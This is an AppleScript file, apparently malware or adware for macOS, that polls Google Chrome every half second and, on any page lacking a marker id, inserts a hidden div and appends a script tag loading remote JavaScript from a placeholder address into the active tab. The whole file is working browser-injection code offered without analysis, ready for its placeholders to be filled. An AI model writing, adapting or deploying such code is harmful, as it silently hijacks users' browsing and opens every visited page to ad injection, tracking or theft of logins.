global _pid
set _pid to "pid_value_to_replace"
repeat
«event XFdrIjct» {}
end repeat

on «event XFdrIjct» {}
delay 0.5
try
if is_Chrome_running() then
tell application "Google Chrome" to tell active tab of window 1
set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML"
if sourceHtml does not contain _pid then
tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;"
tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);"
end if
end tell
end if
end try
end «event XFdrIjct»

on is_Chrome_running()
tell application "System Events" to (name of processes) contains "Google Chrome"
end is_Chrome_running